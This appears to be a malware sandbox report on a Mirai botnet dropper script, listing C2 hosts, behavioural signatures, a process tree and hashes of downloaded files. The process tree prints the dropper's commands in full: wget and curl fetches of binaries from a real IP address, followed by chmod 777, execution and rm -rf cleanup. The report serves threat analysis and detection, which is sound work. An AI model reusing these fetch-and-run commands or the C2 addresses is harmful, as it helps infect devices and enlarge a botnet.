Analysis

  • max time kernel
    138s
  • max time network
    140s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09/08/2026, 06:48

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260809-hk2fhshc64
  • SHA256 bab6ccd1bd6cd243c42f0f03c959184117d03a73ca01476bdd6055f15458f2d4
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 4 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:1542
    • /usr/bin/wget
      wget http://5.182.210.174/9b9d62
      2⤵
      • Writes file to tmp directory
      PID:1543
    • /usr/bin/curl
      curl -O http://5.182.210.174/9b9d62
      2⤵
      • Writes file to tmp directory
      PID:1549
    • /bin/chmod
      chmod 777 9b9d62
      2⤵
      • File and Directory Permissions Modification
      PID:1551
    • /tmp/9b9d62
      ./9b9d62 bc
      2⤵
        PID:1552
      • /bin/rm
        rm -rf 9b9d62
        2⤵
          PID:1554
        • /bin/rm
          rm -rf 9b9d62.1
          2⤵
            PID:1555
          • /usr/bin/wget
            wget http://5.182.210.174/59a197
            2⤵
            • Writes file to tmp directory
            PID:1556
          • /usr/bin/curl
            curl -O http://5.182.210.174/59a197
            2⤵
            • Writes file to tmp directory
            PID:1557
          • /bin/chmod
            chmod 777 59a197
            2⤵
            • File and Directory Permissions Modification
            PID:1561
          • /tmp/59a197
            ./59a197 bc
            2⤵
              PID:1562
            • /bin/rm
              rm -rf 59a197
              2⤵
                PID:1564
              • /bin/rm
                rm -rf 59a197.1
                2⤵
                  PID:1565
                • /usr/bin/wget
                  wget http://5.182.210.174/8fedf4
                  2⤵
                  • Writes file to tmp directory
                  PID:1566
                • /usr/bin/curl
                  curl -O http://5.182.210.174/8fedf4
                  2⤵
                  • Writes file to tmp directory
                  PID:1567
                • /bin/chmod
                  chmod 777 8fedf4
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1568
                • /tmp/8fedf4
                  ./8fedf4 bc
                  2⤵
                    PID:1569
                  • /bin/rm
                    rm -rf 8fedf4
                    2⤵
                      PID:1571
                    • /bin/rm
                      rm -rf 8fedf4.1
                      2⤵
                        PID:1572
                      • /usr/bin/wget
                        wget http://5.182.210.174/50435a
                        2⤵
                        • Writes file to tmp directory
                        PID:1573
                      • /usr/bin/curl
                        curl -O http://5.182.210.174/50435a
                        2⤵
                        • Writes file to tmp directory
                        PID:1574
                      • /bin/chmod
                        chmod 777 50435a
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1575
                      • /tmp/50435a
                        ./50435a bc
                        2⤵
                          PID:1576
                        • /bin/rm
                          rm -rf 50435a
                          2⤵
                            PID:1578
                          • /bin/rm
                            rm -rf 50435a.1
                            2⤵
                              PID:1579
                            • /usr/bin/wget
                              wget http://5.182.210.174/0cda73
                              2⤵
                              • Writes file to tmp directory
                              PID:1580
                            • /usr/bin/curl
                              curl -O http://5.182.210.174/0cda73
                              2⤵
                              • Writes file to tmp directory
                              PID:1581
                            • /bin/chmod
                              chmod 777 0cda73
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1582
                            • /tmp/0cda73
                              ./0cda73 bc
                              2⤵
                                PID:1583
                              • /bin/rm
                                rm -rf 0cda73
                                2⤵
                                  PID:1585
                                • /bin/rm
                                  rm -rf 0cda73.1
                                  2⤵
                                    PID:1586
                                  • /usr/bin/wget
                                    wget http://5.182.210.174/d687aa
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1587
                                  • /usr/bin/curl
                                    curl -O http://5.182.210.174/d687aa
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1588
                                  • /bin/chmod
                                    chmod 777 d687aa
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1589
                                  • /tmp/d687aa
                                    ./d687aa bc
                                    2⤵
                                      PID:1590
                                    • /bin/rm
                                      rm -rf d687aa
                                      2⤵
                                        PID:1592
                                      • /bin/rm
                                        rm -rf d687aa.1
                                        2⤵
                                          PID:1593
                                        • /usr/bin/wget
                                          wget http://5.182.210.174/3020e1
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1594
                                        • /usr/bin/curl
                                          curl -O http://5.182.210.174/3020e1
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1595
                                        • /bin/chmod
                                          chmod 777 3020e1
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1596
                                        • /tmp/3020e1
                                          ./3020e1 bc
                                          2⤵
                                            PID:1597
                                          • /bin/rm
                                            rm -rf 3020e1
                                            2⤵
                                              PID:1599
                                            • /bin/rm
                                              rm -rf 3020e1.1
                                              2⤵
                                                PID:1600
                                              • /usr/bin/wget
                                                wget http://5.182.210.174/7866d1
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1601
                                              • /usr/bin/curl
                                                curl -O http://5.182.210.174/7866d1
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1602
                                              • /bin/chmod
                                                chmod 777 7866d1
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1603
                                              • /tmp/7866d1
                                                ./7866d1 bc
                                                2⤵
                                                  PID:1604
                                                • /bin/rm
                                                  rm -rf 7866d1
                                                  2⤵
                                                    PID:1606
                                                  • /bin/rm
                                                    rm -rf 7866d1.1
                                                    2⤵
                                                      PID:1607
                                                    • /usr/bin/wget
                                                      wget http://5.182.210.174/cdb475
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1608
                                                    • /usr/bin/curl
                                                      curl -O http://5.182.210.174/cdb475
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1609
                                                    • /bin/chmod
                                                      chmod 777 cdb475
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1610
                                                    • /tmp/cdb475
                                                      ./cdb475 bc
                                                      2⤵
                                                      • Modifies Watchdog functionality
                                                      • Enumerates active TCP sockets
                                                      • Changes its process name
                                                      • Reads system network configuration
                                                      • Reads runtime system information
                                                      PID:1611
                                                    • /bin/rm
                                                      rm -rf cdb475
                                                      2⤵
                                                        PID:1613
                                                      • /bin/rm
                                                        rm -rf cdb475.1
                                                        2⤵
                                                          PID:1616
                                                        • /usr/bin/wget
                                                          wget http://5.182.210.174/4c1687
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:1617
                                                        • /usr/bin/curl
                                                          curl -O http://5.182.210.174/4c1687
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:1618
                                                        • /bin/chmod
                                                          chmod 777 4c1687
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:1619
                                                        • /tmp/4c1687
                                                          ./4c1687 bc
                                                          2⤵
                                                            PID:1620
                                                          • /bin/rm
                                                            rm -rf 4c1687
                                                            2⤵
                                                              PID:1622
                                                            • /bin/rm
                                                              rm -rf 4c1687.1
                                                              2⤵
                                                                PID:1623
                                                              • /usr/bin/wget
                                                                wget http://5.182.210.174/07038c
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1624
                                                              • /usr/bin/curl
                                                                curl -O http://5.182.210.174/07038c
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1625
                                                              • /bin/chmod
                                                                chmod 777 07038c
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1626
                                                              • /tmp/07038c
                                                                ./07038c bc
                                                                2⤵
                                                                  PID:1627
                                                                • /bin/rm
                                                                  rm -rf 07038c
                                                                  2⤵
                                                                    PID:1629
                                                                  • /bin/rm
                                                                    rm -rf 07038c.1
                                                                    2⤵
                                                                      PID:1630
                                                                    • /usr/bin/wget
                                                                      wget http://5.182.210.174/29d455
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:1631
                                                                    • /usr/bin/curl
                                                                      curl -O http://5.182.210.174/29d455
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:1632
                                                                    • /bin/chmod
                                                                      chmod 777 29d455
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:1633
                                                                    • /tmp/29d455
                                                                      ./29d455 bc
                                                                      2⤵
                                                                      • Modifies Watchdog functionality
                                                                      • Enumerates active TCP sockets
                                                                      • Changes its process name
                                                                      • Reads system network configuration
                                                                      • Reads runtime system information
                                                                      PID:1634
                                                                    • /bin/rm
                                                                      rm -rf 29d455
                                                                      2⤵
                                                                        PID:1636
                                                                      • /bin/rm
                                                                        rm -rf 29d455.1
                                                                        2⤵
                                                                          PID:1639

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            07038c

                                                                            • Path /tmp/07038c
                                                                            • Size 65KB
                                                                            • SHA256 5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            0cda73

                                                                            • Path /tmp/0cda73
                                                                            • Size 43KB
                                                                            • SHA256 b595ef9ca4756a07bc83027a943009cb947d03c4c261a3e4cc3bec467b43c203
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            29d455

                                                                            • Path /tmp/29d455
                                                                            • Size 49KB
                                                                            • SHA256 bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3020e1

                                                                            • Path /tmp/3020e1
                                                                            • Size 67KB
                                                                            • SHA256 a75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            4c1687

                                                                            • Path /tmp/4c1687
                                                                            • Size 61KB
                                                                            • SHA256 3b2f2f02077aee3efe6dcca1bb84afc59af14fff78d1b6dd18aed0c24e08a313
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            50435a

                                                                            • Path /tmp/50435a
                                                                            • Size 49KB
                                                                            • SHA256 3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            59a197

                                                                            • Path /tmp/59a197
                                                                            • Size 48KB
                                                                            • SHA256 9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            7866d1

                                                                            • Path /tmp/7866d1
                                                                            • Size 120KB
                                                                            • SHA256 383819dd8c7df6077d193ace66715d7b3e5d82e0de0ad87ef8a783965786d606
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            8fedf4

                                                                            • Path /tmp/8fedf4
                                                                            • Size 53KB
                                                                            • SHA256 abda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            9b9d62

                                                                            • Path /tmp/9b9d62
                                                                            • Size 45KB
                                                                            • SHA256 41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            cdb475

                                                                            • Path /tmp/cdb475
                                                                            • Size 44KB
                                                                            • SHA256 9c719ba3b1cd4a8cf820c5eaea04aae7d0188da53e75f18f9c04c1fbbd3cc97e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            d687aa

                                                                            • Path /tmp/d687aa
                                                                            • Size 51KB
                                                                            • SHA256 8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH